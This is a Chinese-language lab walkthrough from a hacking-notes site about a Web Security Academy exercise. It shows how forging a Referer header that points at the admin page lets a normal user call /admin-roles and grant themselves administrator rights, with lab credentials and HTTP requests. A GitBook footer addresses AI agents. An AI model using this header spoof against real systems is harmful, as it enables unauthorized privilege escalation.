> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/access-control/access-control-based-on-the-referer-header.md).

# 基于 Referer 头的访问控制

### 基于 Referer 的访问控制

这个实验室根据请求头对管理功能应用访问控制 **Referer**。/ 你可以先通过连接来探索管理面板 **administrator:admin** 凭据。

要完成该实验室，你需要使用用户 **wiener:peter** 登录，并利用 Referer 的错误校验获取管理员角色。

#### **1. 背景**

* 用户的会话 cookie *wiener*

```bash
cIA2AyZn2GhizvLK7VR8SUCMcdezZcFl
```

* 当尝试在没有额外请求头的情况下更改角色时，应用程序会拒绝访问：

```http
GET /admin-roles?username=wiener&action=upgrade HTTP/2
Host: 0a19008c034b40de834b14e0009a0062.web-security-academy.net
Cookie: session=cIA2AyZn2GhizvLK7VR8SUCMcdezZcFl
```

<figure><img src="/files/cb25fda590e5d41f1c6d2aaeccd6a0a6f16b0645" alt=""><figcaption></figcaption></figure>

答案表明该用户没有必要的权限。

#### **2. 绕过 Referer 检查**

如果添加一个请求头 **Referer** 指向一个合法的管理员页面，应用程序就会接受该操作

```bash
Referer: https://0a19008c034b40de834b14e0009a0062.web-security-academy.net/admin
```

添加此请求头后，就可以提升 wiener 的权限并获得管理员访问权限。

<figure><img src="/files/de89b8f0efc091f245962586784ac93b8e6964f4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/access-control/access-control-based-on-the-referer-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
